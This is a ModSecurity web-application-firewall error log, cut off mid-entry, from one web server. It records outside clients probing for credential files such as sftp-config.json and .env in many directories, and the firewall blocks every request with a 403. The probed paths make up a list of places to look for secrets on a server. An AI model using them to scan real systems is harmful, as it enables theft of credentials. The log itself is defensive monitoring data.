[Fri Sep 05 12:07:22.332632 2025] [:error] [pid 2491887] [client 194.233.80.217:57192] [client 194.233.80.217] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prevlaravel/sftp-config.json&quot;] [unique_id &quot;aLq2WqRNJdevni-wfxFOjgAAAAI&quot;], referer: http://pms.test.indacotrentino.com/prevlaravel/sftp-config.json
[Fri Sep 05 12:07:22.332781 2025] [:error] [pid 2491887] [client 194.233.80.217:57192] [client 194.233.80.217] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prevlaravel/sftp-config.json&quot;] [unique_id &quot;aLq2WqRNJdevni-wfxFOjgAAAAI&quot;], referer: http://pms.test.indacotrentino.com/prevlaravel/sftp-config.json
[Fri Sep 05 12:07:23.191311 2025] [:error] [pid 2491888] [client 194.233.80.217:54596] [client 194.233.80.217] ModSecurity: Warning. Matched phrase &quot;/sftp-config.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /sftp-config.json found within REQUEST_FILENAME: /prevlaravel/sftp-config.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prevlaravel/sftp-config.json&quot;] [unique_id &quot;aLq2W5_VBYeInBKbOsRkXwAAAAM&quot;]
[Fri Sep 05 12:07:23.191558 2025] [:error] [pid 2491888] [client 194.233.80.217:54596] [client 194.233.80.217] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prevlaravel/sftp-config.json&quot;] [unique_id &quot;aLq2W5_VBYeInBKbOsRkXwAAAAM&quot;]
[Fri Sep 05 12:07:23.191706 2025] [:error] [pid 2491888] [client 194.233.80.217:54596] [client 194.233.80.217] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prevlaravel/sftp-config.json&quot;] [unique_id &quot;aLq2W5_VBYeInBKbOsRkXwAAAAM&quot;]
[Fri Sep 05 12:07:23.192381 2025] [:error] [pid 2491889] [client 194.233.80.217:52099] [client 194.233.80.217] ModSecurity: Warning. Matched phrase &quot;/sftp-config.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /sftp-config.json found within REQUEST_FILENAME: /sftp-config.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sftp-config.json&quot;] [unique_id &quot;aLq2W-l5cxues8SNd26ANwAAAAQ&quot;]
[Fri Sep 05 12:07:23.192529 2025] [:error] [pid 2491889] [client 194.233.80.217:52099] [client 194.233.80.217] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sftp-config.json&quot;] [unique_id &quot;aLq2W-l5cxues8SNd26ANwAAAAQ&quot;]
[Fri Sep 05 12:07:23.192672 2025] [:error] [pid 2491889] [client 194.233.80.217:52099] [client 194.233.80.217] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sftp-config.json&quot;] [unique_id &quot;aLq2W-l5cxues8SNd26ANwAAAAQ&quot;]
[Fri Sep 05 13:55:00.969561 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aLrPlGcf05t5foPUZx319gAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:00.969831 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aLrPlGcf05t5foPUZx319gAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:00.969998 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aLrPlGcf05t5foPUZx319gAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.194510 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx31-gAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.194779 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx31-gAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.194968 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx31-gAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.254334 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lib/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx31-wAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.254650 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx31-wAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.254833 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx31-wAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.311607 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lab/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lab/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx31_AAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.311851 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lab/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx31_AAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.312019 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lab/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx31_AAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.365764 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cronlab/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cronlab/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx31_QAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.366008 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cronlab/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx31_QAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.366196 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cronlab/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx31_QAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.421287 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cron/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx31_gAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.421534 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx31_gAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.421709 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx31_gAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.487374 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx31_wAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.487623 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx31_wAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.487793 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx31_wAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.541604 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/app/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx32AAAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.541859 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/app/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx32AAAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.542049 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/app/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx32AAAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.597442 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/datavase/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname 